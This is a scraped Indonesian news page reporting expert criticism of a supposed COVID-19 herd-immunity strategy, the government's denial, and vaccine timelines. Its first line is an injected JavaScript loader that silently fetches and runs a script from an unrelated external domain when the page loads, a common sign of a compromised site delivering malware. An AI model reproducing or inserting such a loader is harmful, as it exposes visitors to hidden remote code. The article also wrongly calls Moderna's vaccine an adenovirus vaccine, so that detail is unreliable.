(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Dikritik Terus, Pemerintah Tepis Isu Herd Immunity


KANALKALIMANTAN.COM, JAKARTAHerd immunity atau kekebalan kelompok kembali ramai dibicarakan di media sosial dan layanan pesan instan. Tak sedikit yang menilai pemerintah diam-diam menerapkan opsi ini, seiring dengan rencana pembukaan kembali kegiatan ekonomi secara bertahap bulan depan.

Kekebalan kelompok adalah kondisi ketika mayoritas penduduk sudah kebal dengan sebuah virus. Sehingga virus itu susah menyebar dan akhirnya wabah akan selesai.

Dokter spesialis pernapasan dr. Dianiati K Sutoyo, Sp.P (K), mengatakan kekebalan kelompok bisa dicapai lewat vaksin atau infeksi alami.

Karena vaksin Covid-19 belum ditemukan, strategi herd immunity besar kemungkinan dicapai lewat infeksi bebas. Infeksi bebas ini, ujar Dianiati, akan menelan banyak korban.

Seorang anak remaja diberi suntikan vaksin MMR di sekolah di Swansea, Wales selatan, Inggris. Foto: Reuters via VOA

“Kita mesti lihat, berarti dibutuhkan banyak orang yang harus imun. Berarti untuk imun, dibutuhkan begitu banyak orang untuk terinfeksi. Berarti ada jutaan yang akan mengalah (meninggal), tidak semuanya yang terinfeksi kemudian happy ending, berarti ada yang mengalah,” ujarnya dalam sebuah diskusi virtual, Rabu (20/5) sore.

Studi yang dilakukan Haley E Randolph dan Luis B Barreiro dari Universitas Chicago, AS, menunjukkan, jutaan orang akan meninggal dunia jika herd immunity lewat infeksi bebas diterapkan oleh sebuah negara.

Jika diterapkan di China, diperkirakan ada 3-10 juta orang meninggal. Jika di AS atau Brazil, diperkirakan 1 juta orang akan meninggal. Angka itu dihitung berdasarkan populasi negara, asumsi ambang batas herd immunity 67 persen, dan infection fatality rate (IFR) 0.2 persen-1 persen.

Sementara di Indonesia, ujar Dian, angka perkiraannya tidak bisa dihitung karena pemerintah tidak menyediakan data IFR. Yang jelas, kata Dian, infeksi bebas akan memakan korban dari kelompok rentan terlebih dahulu.

“Jadi yang 60 tahun ke atas, dengan komorbid (penyakit penyerta), respon imunnya buruk, atau dengan penyakit defisiensi imun. Itu mereka kelihatannya level pertama untuk terkena, tambahnya.

Selain itu, Dian menambahkan, perlu fasilitas rumah sakit dan tenaga medis yang banyak untuk merespon infeksi bebas.

“Kesiapan dari rumah sakit, karena membutuhkan rumah sakit arau bantuan medik: dokter dan layanan kesehatan. Ini yang harus siap. Jangan kita buka tapi kita nggak siap,” kata dia lagi.

Pemerintah Tepis Isu Herd Immunity

Menanggapi kritik masyarakat, pemerintah menegaskan tidak menerapkan herd immunity. Ketua Dewan Pakar Gugus Tugas Covid-19, Wiku Adisasmito mengatakan, pelonggaran PSBB tidak ada hubungannya dengan kekebalan kelompok.

Ketua Tim Pakar Gugus Tugas Percepatan Penanganan COVID-19 di BNPB, Prof. Wiku Adisasmito. Foto: IG@wikuadisasmito via VOA

“Saya ingin memastikan, jawabannya tidak. Pelonggaran PSBB tidak berhubungan dengan kekebalan kelompok. Namun seiring berjalannya waktu, tentu bagi yang punya kekebalan tinggi akan mendorong penyesuaian kolektif terhadap virus,” ujarnya kepada wartawan di Istana, Kamis (21/5).

Pelonggaran PSBB, tambah Wiku, tidak serta merta membuat masyarakat bebas melakukan segala hal.

“Masyarakat tetap harus mengikuti protokol kesehatan secara konsisten dalam setiap kegiatannya, sehingga angka kasus baru tidak naik,” tambahnya.

Vaksin Paling Cepat Desember 2020

Sementara itu, dr Fariz Nurwidya dari Departemen Pulmonologi dan Kedokteran Respirasi FK UI-RSUP Persahabatan mengatakan, masyarakat perlu menunggu vaksin tersedia paling cepat Desember 2020.

Perusahaan farmasi dunia berlomba-lomba memproduksi vaksin Covid-19 di tengah jumlah kematian yang terus meningkat. Foto: Reuters via VOA

Dia mengatakan, ada sejumlah vaksin Covid-19 yang sedang dikembangkan sejumlah perusahaan raksasa bioteknologi. Sayangnya, ujar Fariz, perusahaan-perusahaan itu bekerja sendiri-sendiri dan saling bersaing.

“Mereka biasa selama ini untuk bekerja per corporate, punya lab sendiri, lalu memunculkan banyak kandidat (vaksin), lalu uji coba, lalu gagal bersama-sama,” jelasnya.

Di antara para kandidat vaksin, ada satu yang masuk fase dua. “Yang adenovirus itu sudah diuji memasuki fase dua,” ujarnya merujuk pada vaksin yang dikembangkan perusahaan bioteknologi Moderna, AS ini.

Namun vaksin ini perlu satu lolos fase tiga sampai boleh diproduksi masal. (rt/ft-VOA)

Reporter : Rio
Editor : VOA

 


Desy Arfianty

Recent Posts

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

2 menit ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

2 jam ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

10 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

13 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

13 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

17 jam ago

This website uses cookies.